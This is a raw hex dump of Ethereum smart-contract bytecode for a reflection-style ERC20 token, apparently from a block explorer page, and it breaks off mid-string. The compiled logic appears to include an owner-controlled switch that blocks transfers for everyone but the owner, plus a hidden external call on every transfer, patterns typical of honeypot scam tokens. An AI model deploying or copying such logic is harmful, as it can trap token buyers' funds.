915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f62000e3a8262000ac5565b915062000e478362000ac5565b925082820390508181111562000e625762000e6162000e01565b5b92915050565b62000e738162000ac5565b82525050565b5f60208201905062000e8e5f83018462000e68565b92915050565b5f82825260208201905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c20725f8201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b5f62000f00602a8362000e94565b915062000f0d8262000ea4565b604082019050919050565b5f6020820190508181035f83015262000f318162000ef2565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f62000f718262000ac5565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820362000fa65762000fa562000e01565b5b600182019050919050565b5f5b8381101562000fd057808201518184015260208101905062000fb3565b5f8484015250505050565b5f601f19601f8301169050919050565b5f62000ff782620009ab565b62001003818562000e94565b93506200101581856020860162000fb1565b620010208162000fdb565b840191505092915050565b5f6020820190508181035f83015262001045818462000feb565b905092915050565b5f620010598262000ac5565b9150620010668362000ac5565b92508262001079576200107862000d9d565b5b828204905092915050565b61284c80620010925f395ff3fe608060405234801561000f575f80fd5b506004361061011f575f3560e01c80634549b039116100ab57806395d89b411161006f57806395d89b411461031d578063a457c2d71461033b578063a9059cbb1461036b578063dd62ed3e1461039b578063ebad8f16146103cb5761011f565b80634549b039146102775780635ff1b181146102a757806370a08231146102c5578063715018a6146102f55780638da5cb5b146102ff5761011f565b806323b872dd116100f257806323b872dd146101ab5780632d3e69ea146101db5780632d838119146101f9578063313ce5671461022957806339509351146102475761011f565b8063053ab1821461012357806306fdde031461013f578063095ea7b31461015d57806318160ddd1461018d575b5f80fd5b61013d60048036038101906101389190611bff565b6103d5565b005b610147610546565b6040516101549190611cb4565b60405180910390f35b61017760048036038101906101729190611d2e565b6105d6565b6040516101849190611d86565b60405180910390f35b6101956105f3565b6040516101a29190611dae565b60405180910390f35b6101c560048036038101906101c09190611dc7565b610603565b6040516101d29190611d86565b60405180910390f35b6101e36106d7565b6040516101f09190611d86565b60405180910390f35b610213600480360381019061020e9190611bff565b6106ec565b6040516102209190611dae565b60405180910390f35b610231610758565b60405161023e9190611e32565b60405180910390f35b610261600480360381019061025c9190611d2e565b61076d565b60405161026e9190611d86565b60405180910390f35b610291600480360381019061028c9190611e75565b61081b565b60405161029e9190611dae565b60405180910390f35b6102af6108a1565b6040516102bc9190611dae565b60405180910390f35b6102df60048036038101906102da9190611eb3565b6108aa565b6040516102ec9190611dae565b60405180910390f35b6102fd6108f0565b005b6103076109b2565b6040516103149190611eed565b60405180910390f35b6103256109d9565b6040516103329190611cb4565b60405180910390f35b61035560048036038101906103509190611d2e565b610a69565b6040516103629190611d86565b60405180910390f35b61038560048036038101906103809190611d2e565b610b31565b6040516103929190611d86565b60405180910390f35b6103b560048036038101906103b09190611f06565b610b4e565b6040516103c29190611dae565b60405180910390f35b6103d3610bd0565b005b5f6103de610c2d565b905060065f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161561046a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161046190611fb4565b60405180910390fd5b5f61047483610c34565b5050505090506104ca8160035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610c8590919063ffffffff16565b60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061052081600b54610c8590919063ffffffff16565b600b8190555061053b83600954610cce90919063ffffffff16565b600981905550505050565b6060600e805461055590611fff565b80601f016020809104026020016040519081016040528092919081815260200182805461058190611fff565b80156105cc5780601f106105a3576101008083540402835291602001916105cc565b820191905f5260205f20905b8154815290600101906020018083116105af57829003601f168201915b5050505050905090565b5f6105e96105e2610c2d565b8484610d2b565b6001905092915050565b5f68056bc75e2d63100000905090565b5f61060f848484610eee565b6106cc8461061b610c2d565b6106c7856040518060600160405280602881526020016127ca6028913960055f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61067e610c2d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461158a9092919063ffffffff16565b610d2b565b600190509392505050565b5f600a5f9054906101000a900460ff16905090565b5f600b54821115610732576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107299061209f565b60405180910390fd5b5f61073b6115ec565b9050610750818461161590919063ffffffff16565b915050919050565b5f60105f9054906101000a900460ff16905090565b5f610811610779610c2d565b8461080c8560055f610789610c2d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610cce90919063ffffffff16565b610d2b565b6001905092915050565b5f68056bc75e2d63100000831115610868576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085f90612107565b60405180910390fd5b81610886575f61087784610c34565b5050505090508091505061089b565b5f61089084610c34565b505050915050809150505b92915050565b5f600954905090565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6108f861165e565b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600f80546109e890611fff565b80601f0160208091040260200160405190810160405280929190818152602001828054610a1490611fff565b8015610a5f5780601f10610a3657610100808354040283529160200191610a5f565b820191905f5260205f20905b815481529060010190602001808311610a4257829003601f168201915b5050505050905090565b5f610b27610a75610c2d565b84610b22856040518060600160405280602581526020016127f26025913960055f610a9e610c2d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461158a9092919063ffffffff16565b610d2b565b6001905092915050565b5f610b44610b3d610c2d565b8484610eee565b6001905092915050565b5f60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610bd861165e565b60011515600a5f9054906101000a900460ff16151503610c10575f600a5f6101000a81548160ff021916908315150217905550610c2b565b6001600a5f6101000a81548160ff0219169083151502179055505b565b5f33905090565b5f805f805f805f610c44886116dc565b915091505f610c516115ec565b90505f805f610c618c868661172c565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b5f610cc683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061158a565b905092915050565b5f808284610cdc9190612152565b905083811015610d21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d18906121cf565b60405180910390fd5b8091505092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d909061225d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfe906122eb565b60405180910390fd5b8060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ee19190611dae565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5390612379565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc190612407565b60405180910390fd5b5f811161100c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100390612495565b60405180910390fd5b600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd8484846040518463ffffffff1660e01b815260040161106a939291906124b3565b6020604051808303815f875af1158015611086573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110aa91906124fc565b5060011515600a5f9054906101000a900460ff16151514806110fe57506110cf6109b2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8061113b575061110c6109b2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561152f5760065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680156111dd575060065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156113885761124c816040518060600160405280602681526020016127a46026913960025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461158a9092919063ffffffff16565b60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506112dd8160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610cce90919063ffffffff16565b60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161137b9190611dae565b60405180910390a361152a565b6113f2816040518060600160405280602681526020016127a46026913960025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461158a9092919063ffffffff16565b60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506114838160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610cce90919063ffffffff16565b60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115219190611dae565b60405180910390a35b611585565b60011515600a5f9054906101000a900460ff16151514611584576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157b9061254a565b60405180910390fd5b5b505050565b5f8383111582906115d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c89190611cb4565b60405180910390fd5b505f83856115df9190612568565b9050809150509392505050565b5f805f6115f7611786565b9150915061160e818361161590919063ffffffff16565b9250505090565b5f61165683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a3d565b905092915050565b611666610c2d565b73ffffffffffffffffffffffffffffffffffffffff16611684611a9e565b73ffffffffffffffffffffffffffffffffffffffff16146116da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d1906125e5565b60405180910390fd5b565b5f805f6117076103e86116f9600287611ab190919063ffffffff16565b61161590919063ffffffff16565b90505f61171d8286610c8590919063ffffffff16565b90508082935093505050915091565b5f805f806117438588611ab190919063ffffffff16565b90505f6117598688611ab190919063ffffffff16565b90505f61176f8284610c8590919063ffffffff16565b905082818395509550955050505093509350939050565b5f805f600b5490505f68056bc75e2d6310000090505f5b6007805490508110156119f2578260035f600784815481106117c2576117c1612603565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205411806118a757508160045f6007848154811061184357611842612603565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054115b156118c557600b5468056bc75e2d6310000094509450505050611a39565b61195060035f600784815481106118df576118de612603565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205484610c8590919063ffffffff16565b92506119dd60045f6007848154811061196c5761196b612603565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205483610c8590919063ffffffff16565b915080806119ea90612630565b91505061179d565b50611a1168056bc75e2d63100000600b5461161590919063ffffffff16565b821015611a3057600b5468056bc75e2d63100000935093505050611a39565b81819350935050505b9091565b5f8083118290611a83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7a9190611cb4565b60405180910390fd5b505f8385611a9191906126a4565b9050809150509392505050565b5f80611aa8611b28565b90508091505090565b5f808303611ac1575f9050611b22565b5f8284611ace91906126d4565b9050828482611add91906126a4565b14611b1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1490612785565b60405180910390fd5b809150505b92915050565b5f8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ba0575f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611bc3565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b5f80fd5b5f819050919050565b611bde81611bcc565b8114611be8575f80fd5b50565b5f81359050611bf981611bd5565b92915050565b5f60208284031215611c1457611c13611bc8565b5b5f611c2184828501611beb565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611c61578082015181840152602081019050611c46565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611c8682611c2a565b611c908185611c34565b9350611ca0818560208601611c44565b611ca981611c6c565b840191505092915050565b5f6020820190508181035f830152611ccc8184611c7c565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611cfd82611cd4565b9050919050565b611d0d81611cf3565b8114611d17575f80fd5b50565b5f81359050611d2881611d04565b92915050565b5f8060408385031215611d4457611d43611bc8565b5b5f611d5185828601611d1a565b9250506020611d6285828601611beb565b9150509250929050565b5f8115159050919050565b611d8081611d6c565b82525050565b5f602082019050611d995f830184611d77565b92915050565b611da881611bcc565b82525050565b5f602082019050611dc15f830184611d9f565b92915050565b5f805f60608486031215611dde57611ddd611bc8565b5b5f611deb86828701611d1a565b9350506020611dfc86828701611d1a565b9250506040611e0d86828701611beb565b9150509250925092565b5f60ff82169050919050565b611e2c81611e17565b82525050565b5f602082019050611e455f830184611e23565b92915050565b611e5481611d6c565b8114611e5e575f80fd5b50565b5f81359050611e6f81611e4b565b92915050565b5f8060408385031215611e8b57611e8a611bc8565b5b5f611e9885828601611beb565b9250506020611ea985828601611e61565b9150509250929050565b5f60208284031215611ec857611ec7611bc8565b5b5f611ed584828501611d1a565b91505092915050565b611ee781611cf3565b82525050565b5f602082019050611f005f830184611ede565b92915050565b5f8060408385031215611f1c57611f1b611bc8565b5b5f611f2985828601611d1a565b9250506020611f3a85828601611d1a565b9150509250929050565b7f4578636c75646564206164647265737365732063616e6e6f742063616c6c20745f8201527f6869732066756e6374696f6e0000000000000000000000000000000000000000602082015250565b5f611f9e602c83611c34565b9150611fa982611f44565b604082019050919050565b5f6020820190508181035f830152611fcb81611f92565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061201657607f821691505b60208210810361202957612028611fd2565b5b50919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c20725f8201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b5f612089602a83611c34565b91506120948261202f565b604082019050919050565b5f6020820190508181035f8301526120b68161207d565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20737570706c79005f82015250565b5f6120f1601f83611c34565b91506120fc826120bd565b602082019050919050565b5f6020820190508181035f83015261211e816120e5565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61215c82611bcc565b915061216783611bcc565b925082820190508082111561217f5761217e612125565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f6121b9601b83611c34565b91506121c482612185565b602082019050919050565b5f6020820190508181035f8301526121e6816121ad565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612247602483611c34565b9150612252826121ed565b604082019050919050565b5f6020820190508181035f8301526122748161223b565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6122d5602283611c34565b91506122e08261227b565b604082019050919050565b5f6020820190508181035f830152612302816122c9565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612363602583611c34565b915061236e82612309565b604082019050919050565b5f6020820190508181035f83015261239081612357565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6123f1602383611c34565b91506123fc82612397565b604082019050919050565b5f6020820190508181035f83015261241e816123e5565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f61247f602983611c34565b915061248a82612425565b604082019050919050565b5f6020820190508181035f8301526124ac81612473565b9050919050565b5f6060820190506124c65f830186611ede565b6124d36020830185611ede565b6124e06040830184611d9f565b949350505050565b5f815190506124f681611e4b565b92915050565b5f6020828403121561251157612510611bc8565b5b5f61251e848285016124e8565b91505092915050565b50565b5f6125355f83611c34565b915061254082612527565b5f82019050919050565b5f6020820190508181035f8301526125618161252a565b9050919050565b5f61257282611bcc565b915061257d83611bcc565b925082820390508181111561259557612594612125565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6125cf602083611c34565b91506125da8261259b565b602082019050919050565b5f6020820190508181035f8301526125fc816125c3565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f61263a82611bcc565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361266c5761266b612125565b5b600182019050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6126ae82611bcc565b91506126b983611bcc565b9250826126c9576126c8612677565b5b828204905092915050565b5f6126de82611bcc565b91506126e983611bcc565b92508282026126f781611bcc565b9150828204841483151761270e5761270d612125565b5b5092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f61276f602183611c34565b915061277a82612715565b604082019050919050565b5f6020820190508181035f83015261279c81612763565b905091905056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220dd26de277e9ba2325e7bb457a16d26fe4a05540c8d5e8387d88d5667b79c958f64736f6c634300081400330000000000000000000000002c8c10588098a54b2df2148ec8819ff88edddf2c00000000000000000000000082ca266d6d04475152734fcf12303a138c8cce3b

Deployed Bytecode

0x608060405234801561000f575f80fd5b506004361061011f575f3560e01c80634549b039116100ab57806395d89b411161006f57806395d89b411461031d578063a457c2d71461033b578063a9059cbb1461036b578063dd62ed3e1461039b578063ebad8f16146103cb5761011f565b80634549b039146102775780635ff1b181146102a757806370a08231146102c5578063715018a6146102f55780638da5cb5b146102ff5761011f565b806323b872dd116100f257806323b872dd146101ab5780632d3e69ea146101db5780632d838119146101f9578063313ce5671461022957806339509351146102475761011f565b8063053ab1821461012357806306fdde031461013f578063095ea7b31461015d57806318160ddd1461018d575b5f80fd5b61013d60048036038101906101389190611bff565b6103d5565b005b610147610546565b6040516101549190611cb4565b60405180910390f35b61017760048036038101906101729190611d2e565b6105d6565b6040516101849190611d86565b60405180910390f35b6101956105f3565b6040516101a29190611dae565b60405180910390f35b6101c560048036038101906101c09190611dc7565b610603565b6040516101d29190611d86565b60405180910390f35b6101e36106d7565b6040516101f09190611d86565b60405180910390f35b610213600480360381019061020e9190611bff565b6106ec565b6040516102209190611dae565b60405180910390f35b610231610758565b60405161023e9190611e32565b60405180910390f35b610261600480360381019061025c9190611d2e565b61076d565b60405161026e9190611d86565b60405180910390f35b610291600480360381019061028c9190611e75565b61081b565b60405161029e9190611dae565b60405180910390f35b6102af6108a1565b6040516102bc9190611dae565b60405180910390f35b6102df60048036038101906102da9190611eb3565b6108aa565b6040516102ec9190611dae565b60405180910390f35b6102fd6108f0565b005b6103076109b2565b6040516103149190611eed565b60405180910390f35b6103256109d9565b6040516103329190611cb4565b60405180910390f35b61035560048036038101906103509190611d2e565b610a69565b6040516103629190611d86565b60405180910390f35b61038560048036038101906103809190611d2e565b610b31565b6040516103929190611d86565b60405180910390f35b6103b560048036038101906103b09190611f06565b610b4e565b6040516103c29190611dae565b60405180910390f35b6103d3610bd0565b005b5f6103de610c2d565b905060065f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161561046a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161046190611fb4565b60405180910390fd5b5f61047483610c34565b5050505090506104ca8160035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610c8590919063ffffffff16565b60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061052081600b54610c8590919063ffffffff16565b600b8190555061053b83600954610cce90919063ffffffff16565b600981905550505050565b6060600e805461055590611fff565b80601f016020809104026020016040519081016040528092919081815260200182805461058190611fff565b80156105cc5780601f106105a3576101008083540402835291602001916105cc565b820191905f5260205f20905b8154815290600101906020018083116105af57829003601f168201915b5050505050905090565b5f6105e96105e2610c2d565b8484610d2b565b6001905092915050565b5f68056bc75e2d63100000905090565b5f61060f848484610eee565b6106cc8461061b610c2d565b6106c7856040518060600160405280602881526020016127ca6028913960055f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61067e610c2d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461158a9092919063ffffffff16565b610d2b565b600190509392505050565b5f600a5f9054906101000a900460ff16905090565b5f600b54821115610732576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107299061209f565b60405180910390fd5b5f61073b6115ec565b9050610750818461161590919063ffffffff16565b915050919050565b5f60105f9054906101000a900460ff16905090565b5f610811610779610c2d565b8461080c8560055f610789610c2d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610cce90919063ffffffff16565b610d2b565b6001905092915050565b5f68056bc75e2d63100000831115610868576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085f90612107565b60405180910390fd5b81610886575f61087784610c34565b5050505090508091505061089b565b5f61089084610c34565b505050915050809150505b92915050565b5f600954905090565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6108f861165e565b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600f80546109e890611fff565b80601f0160208091040260200160405190810160405280929190818152602001828054610a1490611fff565b8015610a5f5780601f10610a3657610100808354040283529160200191610a5f565b820191905f5260205f20905b815481529060010190602001808311610a4257829003601f168201915b5050505050905090565b5f610b27610a75610c2d565b84610b22856040518060600160405280602581526020016127f26025913960055f610a9e610c2d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461158a9092919063ffffffff16565b610d2b565b6001905092915050565b5f610b44610b3d610c2d565b8484610eee565b6001905092915050565b5f60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610bd861165e565b60011515600a5f9054906101000a900460ff16151503610c10575f600a5f6101000a81548160ff021916908315150217905550610c2b565b6001600a5f6101000a81548160ff0219169083151502179055505b565b5f33905090565b5f805f805f805f610c44886116dc565b915091505f610c516115ec565b90505f805f610c618c868661172c565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b5f610cc683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061158a565b905092915050565b5f808284610cdc9190612152565b905083811015610d21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d18906121cf565b60405180910390fd5b8091505092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d909061225d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfe906122eb565b60405180910390fd5b8060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ee19190611dae565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5390612379565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc190612407565b60405180910390fd5b5f811161100c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100390612495565b60405180910390fd5b600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd8484846040518463ffffffff1660e01b815260040161106a939291906124b3565b6020604051808303815f875af1158015611086573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110aa91906124fc565b5060011515600a5f9054906101000a900460ff16151514806110fe57506110cf6109b2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8061113b575061110c6109b2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561152f5760065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680156111dd575060065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156113885761124c816040518060600160405280602681526020016127a46026913960025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461158a9092919063ffffffff16565b60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506112dd8160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610cce90919063ffffffff16565b60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161137b9190611dae565b60405180910390a361152a565b6113f2816040518060600160405280602681526020016127a46026913960025f8773ffffffffffffff